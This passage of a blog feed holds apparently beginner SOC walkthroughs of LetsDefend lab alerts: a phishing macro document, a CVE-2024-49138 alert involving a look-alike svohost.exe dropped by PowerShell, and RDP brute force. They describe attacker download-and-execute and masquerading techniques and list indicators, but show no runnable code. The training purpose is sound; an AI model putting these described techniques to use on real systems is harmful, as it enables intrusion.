&lt;span class="nt"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Feb, 28, 2024, 08:12 AM&lt;/span&gt;
&lt;span class="nt"&gt;Action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Allowed&lt;/span&gt;

Attachment: edit1-invoice.docm.zip
Password: infected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we know that the file is malicious and was executed on the host Jayne, we need to contain that host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ufi2do1u090v7dggxng.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ufi2do1u090v7dggxng.png" alt="contained" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Host is successfully contained.&lt;/p&gt;

&lt;p&gt;Defined threat indicator: Other&lt;br&gt;
Check if the malware is quarantined/cleaned: Not quarantined&lt;br&gt;
The malware is: malicious&lt;br&gt;
C2: accessed&lt;br&gt;
Containment is done.&lt;/p&gt;

&lt;p&gt;Artifacts added:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkiatacsthmxsc2mt2oq1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkiatacsthmxsc2mt2oq1.png" alt="artifacts" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Analyst's note added:&lt;/p&gt;

&lt;p&gt;`&lt;br&gt;
On February 28, 2024, at 08:42 AM, a user on host Jayne (IP: 172.16.17.198) opened a malicious macro-enabled Word document named edit1-invoice.docm. The embedded macro executed a PowerShell command that attempted to download a remote executable from www[.]greyhathacker[.]net (92.204.221[.]16). This activity was logged by Sysmon and other endpoint telemetry, including DNS queries and script block execution.&lt;/p&gt;

&lt;p&gt;Earlier, at 08:12 AM, a phishing email originating from jake.admin[@]cybercommunity[.]info was sent to Jayne, containing the malicious document.&lt;/p&gt;

&lt;p&gt;This incident is classified as high severity, as it enabled the download and potential execution of malware. Immediate containment measures included isolating the affected host, preserving relevant artifacts, and defanging the IOCs for safe reporting.&lt;br&gt;
`&lt;/p&gt;

&lt;p&gt;PLaybook is now completed:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkq1j2vb17mz6ns2xf9e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkq1j2vb17mz6ns2xf9e4.png" alt="completedplaybook" width="785" height="501"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we close the alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m2hsvs00vg8yqn5jd1v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m2hsvs00vg8yqn5jd1v.png" alt="closeddescription" width="748" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>discuss</category>
      <category>cybersecurity</category>
      <category>socanalysis</category>
    </item>
    <item>
      <title>Letsdefend SOC335 - CVE-2024-49138 Exploitation Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Tue, 21 Apr 2026 19:06:07 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc335-cve-2024-49138-exploitation-detected-3773</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc335-cve-2024-49138-exploitation-detected-3773</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsei1s4tiu9v7dr1fmguf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsei1s4tiu9v7dr1fmguf.png" alt="Take ownership" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Take ownership of the alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg900kgljg1gufygqfmas.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg900kgljg1gufygqfmas.png" alt="Create case" width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create case&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3h2he8uko5qs0sr2y2oj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3h2he8uko5qs0sr2y2oj.png" alt="information" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a malicious process named &lt;code&gt;svohost.exe&lt;/code&gt; which is named close to &lt;code&gt;svchost.exe&lt;/code&gt;. Svchost.exe (Service Host) is an essential Windows system process that loads and manages multiple background services (DLL-based) to save system resources and improve stability.&lt;/p&gt;

&lt;p&gt;Weird name for the process user &lt;br&gt;
&lt;code&gt;EC2AMAZ-ILGVOIN\LetsDefend&lt;/code&gt; enough to spark doubt and take the alert seriously.&lt;/p&gt;

&lt;p&gt;Looking at the file hash, I decided to search for it on Virustotal.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrfk8ial9oi73j5balv6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrfk8ial9oi73j5balv6.png" alt="virustotal" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;50 out of 72 vendors flag this file as malicious on Virustotal&lt;/p&gt;

&lt;p&gt;Moving onto Endpoint security:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxn28pulviqzd5j6hhthk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxn28pulviqzd5j6hhthk.png" alt="code" width="800" height="539"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This PowerShell script downloads a password-protected ZIP file (&lt;code&gt;service-installer.zip&lt;/code&gt;) from a remote S3 bucket to &lt;code&gt;C:\temp&lt;/code&gt;, then uses 7-Zip to extract the archive with the password &lt;code&gt;infected&lt;/code&gt; into the same directory. After extraction, it deletes the original ZIP file and executes &lt;code&gt;svohost.exe&lt;/code&gt; from the extracted &lt;code&gt;service_installer&lt;/code&gt; folder. This behavior is highly indicative of malware delivery and execution, as it retrieves a payload from an external source, extracts it using a hardcoded password (often used to evade static scanning), and launches an executable with a name (&lt;code&gt;svohost.exe&lt;/code&gt;) that mimics a legitimate Windows process (&lt;code&gt;svchost.exe&lt;/code&gt;) to avoid detection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbao18k3pr989jh9iwq3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbao18k3pr989jh9iwq3.png" alt="svohost.exe information" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the information from &lt;code&gt;svohost.exe&lt;/code&gt; on the endpoint "Victor"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61sl4hh7srqseddbxqmk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61sl4hh7srqseddbxqmk.png" alt="affected" width="800" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When I search for the affected host's (Victor) IP in Log Management, and run through the logs, I find there have been multiple failed logon attempts targeting the destination's RDP port (port 3389).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EventID 4625 (failed logon)&lt;/li&gt;
&lt;li&gt;Error code 0xC000006D (bad username or password)&lt;/li&gt;
&lt;li&gt;Attempts for accounts like "admin" and "guest"&lt;/li&gt;
&lt;li&gt;Source IP: 185[.]107[.]56[.]141&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For successful logon:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EventID 4624 (successful logon)&lt;/li&gt;
&lt;li&gt;Logon Type 10 (RemoteInteractive) (typically RDP)&lt;/li&gt;
&lt;li&gt;Username: Victor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next, I search for the source IP 185[.]107[.]56[.]141 in Threat Intel on Letsdefend, and the IP is tagged "Brute Force"&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6s7vzd3du1e0d593adao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6s7vzd3du1e0d593adao.png" alt="Brute Force" width="800" height="417"&gt;&lt;/a&gt;&lt;br&gt;
a strong confirmation that the activity was malicious.&lt;/p&gt;

&lt;p&gt;EventID: 313&lt;br&gt;
Event Time: Jan 22, 2025, 02:37 AM&lt;br&gt;
Rule: SOC335 — CVE-2024–49138 Exploitation Detected&lt;br&gt;
Alert category: True Positive&lt;/p&gt;

&lt;p&gt;For answering the questions of the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnhgmc9cs8ud0gqopldbi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnhgmc9cs8ud0gqopldbi.png" alt="playbookq1" width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I pick the first option because of the command we saw that downloads a malicious file from a remote S3 bucket and then executes &lt;code&gt;svohost.exe&lt;/code&gt;. Such behavior is a red flag for outbound connections to Command and Control (C2) infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fayfeu2wajblgclpf43yw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fayfeu2wajblgclpf43yw.png" alt="malwarequaratined" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The malware was allowed and not quarantined or cleaned up.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7hwjbgdep8pi29zf3htd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7hwjbgdep8pi29zf3htd.png" alt="malwareanalyze" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we move ahead with analyzing the malware. From the Virustotal scan, we know it is malicious.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82l979jwugu1exj8fup6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82l979jwugu1exj8fup6.png" alt="c2requested" width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In Log Management, the suspicious IP (185.107.56.141) appears in events targeting the host (172.16.17.207) and is also tied to remote access activity, so the malicious address was observed in logs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fidxmp2d4gt1269usmi6j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fidxmp2d4gt1269usmi6j.png" alt="containit" width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next, we move ahead with containing the affected host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhba42okxbgeg08xnipe1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhba42okxbgeg08xnipe1.png" alt="contained" width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff5yq3kn7bypxwl4nzstd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff5yq3kn7bypxwl4nzstd.png" alt="Artifacts" width="800" height="528"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Adding the artifacts, the malicious sender IP, the MD5 hash of the malicious file (from Virustotal), and the malicious code snippet that was running on the terminal.&lt;/p&gt;

&lt;p&gt;Analyst's notes:&lt;br&gt;
I have determined this alert to be a True Positive, as the host Victor (172.16.17.207) executed a suspicious look-alike binary, &lt;code&gt;svohost.exe&lt;/code&gt;, from &lt;code&gt;C:\temp\service_installer\&lt;/code&gt; under an unusual user context with &lt;code&gt;powershell.exe&lt;/code&gt; as its parent, and the file hash is tagged in Threat Intel with CVE-2024-49138. Log Management reveals that the source IP &lt;code&gt;185.107.56.141&lt;/code&gt; repeatedly targeted the host over RDP (port 3389), with Windows security events showing multiple failed logons (4625 / 0xC000006D) followed by a successful remote logon (4624, Logon Type 10) from the same IP, indicating a successful brute force attack—further supported by Threat Intel flagging the IP as "Brute Force." Since the device action was logged as "Allowed," real-world containment would require immediate isolation of the endpoint, blocking the malicious IP, quarantining &lt;code&gt;svohost.exe&lt;/code&gt;, and resetting compromised credentials.&lt;/p&gt;

</description>
      <category>soc</category>
      <category>cybersecurity</category>
      <category>letsdefend</category>
      <category>securityanalysis</category>
    </item>
    <item>
      <title>LetsDefend SOC176 - RDP Brute Force Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Tue, 21 Apr 2026 17:14:29 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc176-rdp-brute-force-detected-1p83</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc176-rdp-brute-force-detected-1p83</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiu6henot1gwyj1qoybfo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiu6henot1gwyj1qoybfo.png" alt="Taking ownership" width="800" height="459"&gt;&lt;/a&gt;&lt;br&gt;
Step 1: I took ownership of the alert to ensure clear accountability throughout the investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwrv0ui351d7jpyhzcm07.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwrv0ui351d7jpyhzcm07.png" alt="Create case" width="800" height="529"&gt;&lt;/a&gt;&lt;br&gt;
Step 2: I created a case for the alert on the investigation channel to centralize all relevant information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fstv5cff7ck8cvl8c8c11.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fstv5cff7ck8cvl8c8c11.png" alt="Start playbook" width="800" height="342"&gt;&lt;/a&gt;&lt;br&gt;
Step 3: I started the incident response playbook to guide my investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiytmg4fv5be5e0fj85id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiytmg4fv5be5e0fj85id.png" alt="Log management" width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 4: From the "Log Management" tab, I determined that the source IP is external.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6f2de9gt78wzydua76bz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6f2de9gt78wzydua76bz.png" alt="Check IP reputation" width="800" height="451"&gt;&lt;/a&gt;&lt;br&gt;
Step 5: I checked the reputation of the source IP address on the following threat intelligence platforms:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ptgbgw4xz8zktjo55mb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ptgbgw4xz8zktjo55mb.png" alt="VirusTotal" width="800" height="487"&gt;&lt;/a&gt;&lt;br&gt;
Virustotal&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dqn8pvk8vfcopwtsdju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dqn8pvk8vfcopwtsdju.png" alt="AbuseIPDB" width="800" height="681"&gt;&lt;/a&gt;&lt;br&gt;
AbuseIPDB&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7fdomi8dcqeb7toio3i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7fdomi8dcqeb7toio3i.png" alt="LetsDefend TI" width="800" height="428"&gt;&lt;/a&gt;&lt;br&gt;
Letsdefend TI&lt;br&gt;
Based on the findings from these sources, I confirmed that the source IP address is malicious.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvf3kldku9xhpetzpkl4t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvf3kldku9xhpetzpkl4t.png" alt="Traffic analysis" width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 6: I proceeded to traffic analysis.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foevhkrq5py9kqfota5mf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foevhkrq5py9kqfota5mf.png" alt="log" width="800" height="515"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I observed that port 3389 (RDP) on the destination was under attack. By reviewing the raw logs, I identified Event ID 4625, which corresponds to account logon failure on Windows systems.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0egp1o48m9l43jpsxeuu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0egp1o48m9l43jpsxeuu.png" alt="unique target question" width="800" height="547"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upon investigation, I found that only one unique destination IP (belonging to "Matthew") was attacked. Therefore, my answer to this question is no.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5g0ebjd52khc5ejq08vd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5g0ebjd52khc5ejq08vd.png" alt="logs managing" width="800" height="544"&gt;&lt;/a&gt;&lt;br&gt;
Step 7: I continued managing and analyzing the logs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fld0n820roq3g61s8al32.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fld0n820roq3g61s8al32.png" alt="failed logons" width="800" height="508"&gt;&lt;/a&gt;&lt;br&gt;
These are all failed logon attempts.&lt;/p&gt;

